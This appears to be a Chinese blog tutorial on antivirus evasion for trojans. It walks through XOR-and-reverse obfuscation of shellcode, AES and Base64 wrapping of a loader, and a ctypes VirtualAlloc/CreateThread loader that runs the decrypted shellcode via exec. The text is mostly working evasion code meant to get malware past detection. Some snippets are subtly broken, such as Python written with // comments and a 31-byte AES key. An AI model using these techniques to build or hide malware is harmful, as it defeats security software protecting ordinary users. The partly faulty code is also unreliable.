1、免杀的概念
免杀技术全称为反杀毒技术(Anti Anti-Virus),简称“免杀”。它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,包含反汇编、逆向工程、系统漏洞等技术,所以难度比较高。
2、杀软的原理
病毒查杀一般可以分为三种方式:静态查杀、行为查杀和云查杀
(1)静态查杀:一般根据特征码识别,然后对文件进行特征匹配,一般在文件下载,传送时被触发(从网上下个东西,报毒)
(2)行为查杀(动态查杀):主要是对其产生的行为进行检测。(文件运行时进行了一些敏感操作)
(3)云查杀:提取出文件的特征和上传云端,云端进行检测后返回客户端,对对应病毒进行查杀。
3、杀软查杀流程
对于我们的shellcode要实现免杀,下图是基本的测试流程图

4、免杀的方法
(1)对ShellCode进行加密处理,如异或、转置、AES加密、Base64编码、多轮加密,再解密,就可以减少其静态特征
(2)对加载器代码进行加密或编码处理,使其静态特征不再明显。
(3)分离免杀,将ShellCode和加载器代码放置于网络上,通过下载的方式进行加载,可进一步免除静态特征。
(4)通过进程注入或借助傀儡进程进行加载和运行。
(5)通过加壳的方式对木马进行混淆,进而绕过杀软。
(6)注意更改代码里的关键词,如shellcode等,而且文件名字也要改成一个比较正常的名字
通过静态特征绕过杀软检测相对比较容易,但是要绕过沙箱或动态检测,则非常难。
一,python中使用rsa加解密
import rsa
source = 'Hello-蜗牛'
//第一步:生成公钥和私钥对,指定密钥的长度(越长越难破解)
pub, priv = rsa.newkeys(256)
//第二步:使用公钥加密
encrypt = rsa.encrypt(source.encode(), pub)
//第三步:使用私钥解密
decrypt = rsa.decrypt(encrypt, priv)
//第四步:输出密文
print(decrypt.decode())
//如果需要将密文进行保存,建议使用binascii.b2a_hex将密文转换成16进制,解密时再使用a2b_hex将16进制转换为byte类型
二、利用异或和变形加密ShellCode
1、异或加密
异或运算是最为简单的加密方式,异或运算根据二进制位进行按位运算,如果对应位相同,则为0,不同则为1。并且同时遵守以下规则:如果a ^ b = c,则可以将b视为秘钥,c视为加密字符串,则b ^ c = a,可根据秘钥b和密文c,解密出a的值。
And 运算:1 and 1 = 1, 1 and 0 = 0,0 and 0 = 0
Or 运算:1 or 1 = 1, 1 or 0 = 1,0 or 0 = 0
Xor 运算:1 xor 1 = 0, 1 xor 0 = 1,0 xor 0 = 0
如 1234 ^ 56 = 1258,运算规则如下:
先将 1234 转换为二进制为:0100 1101 0010 再将 56 转换为二进制为:0011 1000,不足 12位,前面加0,再进行运算:
0100 1101 0010
0000 0011 1000
0100 1110 1010 = 1258
2、字符串反转
在Python中,对一个字符串进行反转,使用str[::-1]即可。
如果 str = 'abcdefg',则 str[::-1] = 'gfedcba'
3、将字节类型转换为字符串
由于Python的ShellCode为字节类型(即b'',也可以视为二进制类型),而要进行加密或反转处理,只能针对字符串进行处理,所以还需要对字节类型数据转换为字符串。可以利用Python内置的binascii模块进行处理。
binascii.b2a_hex() 函数将字节序列转换为十六进制表示的字节序列,返回结果是字节对象,注意并不是把二进制转换为十六进制,而是把数字0,1分别转换为30和31(对应ascii码),如果数据本身就是十六进制,则不会变动
decode() 方法将字节序列按照指定的编码方式转换为字符串,默认为utf-8,
buf = b"\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
a = binascii.b2a_hex(buf)
b= a.decode()
输出结果为b'75b441ffe7586a005949c7c2'和75b441ffe7586a005949c7c2
b_data = b'\xe4\xb8\xad\xe6\x96\x87' # UTF - 8 编码的字节序列,表示中文
source = binascii.b2a_hex(b_data)
s_data = source.decode('utf-8') # 将字节序列按照指定的编码方式转换为字符串
print(source)
print(s_data) # 输出:中文
输出结果为b'e4b8ade69687'和e4b8ade69687
c=b'0111010101'
d=binascii.b2a_hex(c)
print(d)
输出结果为b'30313131303130313031'
4、对异或输出结果进行变形
reverse = 'abcdefghijk'
encrypt = ''
for c in reverse:
temp = ord(c) ^ 73 //将字符转为ascii码并于73异或
encrypt += str(temp) + '-' //将每个字符异或的结果用-连起来
print(encrypt[0:-1]) //去掉最后一个多余的-
输出结果为:40-43-42-45-44-47-46-33-32-35-34
此类变形可以有多种方式,并不局限于上述变形,也可以任意定义,或者将其输出为Base64编码。
5、完整ShellCode的加密和变形过程
buf = b"\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2" # 截取shellcode的一行作为示例
# 将上述字节型数据转换为字符串
source = binascii.b2a_hex(buf).decode()
# 对字符串进行反转
reverse = source[::-1]
# 将上述字符串进行异或加密
encrypt = ''
for c in reverse:
temp = ord(c) ^ 73 # 将每一个字符转换成ASCII码再进行异或加密
encrypt += chr(temp)
print(encrypt) # 此时的输出,极有可能出现乱码,所以可以将其变形
# 进行异或加密后将ASCII直接输出,并用短线分隔
encrypt = ''
for c in reverse:
temp = ord(c) ^ 73
encrypt += str(temp) + '-'
codestr = encrypt[0:-1]
print(codestr)
6,最后生成木马
木马的代码就是,将最终加密完的数据作为输入,对这些数据进行解密,这样就避免了对原始木马的静态特征检测
import binascii
# 将些输出结果作为源字符串输入,木马程序只需要解密即可
codestr = '123-42-126-42-112-125-112-124-121-121-40-127-113-124-126-44-47-47-120-125-125-43-124-126' # 略
# 通过短线进行分隔,提取出ASCII码,并转换为字符
list = codestr.split('-')
reverse = ''
for n in list:
c = chr(int(n) ^ 73) # 得到异或运算后的解密字符
reverse += c
source = reverse[::-1] # 得到字符串后进行反转,得到原始ShellCode字符串
shellcode = binascii.a2b_hex(source)
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
运行结果b'u\xb4A\xff\xe7Xj\x00YI\xc7\xc2'和原始buf=b"\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"是相同的,
可打印 ASCII 字符的显示优化:
\x75 → u(ASCII 值为 0x75 的字符是 u)。
\x58 → X(ASCII 值为 0x58 的字符是 X)。
\x6a → j(ASCII 值为 0x6a 的字符是 j)。
\x59 → Y,\x49 → I。
三、 对加载器代码进行加密和编码
1、将加载器代码进行Base64编码
loader = '''ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
''' //用'''包裹的代码在当做字符串进行运行时,保留其内部格式
b64str = base64.b64encode(loader.encode())
print(b64str.decode())
2、将Base64编码进行AES加密
source = b64str.decode()
if len(source.encode('utf-8')) % 16:
add = 16 - (len(source.encode('utf-8')) % 16)
else:
add = 0
source = source + ('\0' * add)
print(source)
key = 'todayiswonderful-FEDCBA987654321'.encode()
mode = AES.MODE_CBC
iv = b'1234567890ABCDEF'
cryptos = AES.new(key, mode, iv)
cipher = cryptos.encrypt(source.encode())
print(cipher)
print(binascii.b2a_hex(cipher).decode())
四、对ShellCode和加载器进行解密运行
import binascii
import ctypes
import base64
from Crypto.Cipher import AES
# 将些输出结果作为源字符串输入,木马程序只需要解密即可
codestr = '124-45-47-47-127-124-123-40-124-43-121-47-123-42-126-42-112-125-112-124-121-121-40'
# 通过短线进行分隔,提取出ASCII码,并转换为字符
list = codestr.split('-')
reverse = ''
for n in list:
c = chr(int(n) ^ 73) # 得到异或运算后的解密字符
reverse += c
source = reverse[::-1] # 得到字符串后进行反转,得到原始ShellCode字符串
shellcode = binascii.a2b_hex(source)
# 解密加载器
source = '3e4a66b7d1fd195638c5f056323f6c257f1cf7526c150149ac7a50a3fbb08171d9dd6176ba8dd69ba885a84a'
key = 'todayiswonderful-FEDCBA987654321'.encode()
mode = AES.MODE_CBC
iv = b'1234567890ABCDEF'
cryptos = AES.new(key, mode, iv)
dest = cryptos.decrypt(binascii.a2b_hex(source))
b64str = dest.decode().rstrip('\0')
# Base64还原加载器代码
loader = base64.b64decode(b64str).decode()
# 执行代码
exec(loader)

5330

被折叠的 条评论
为什么被折叠?



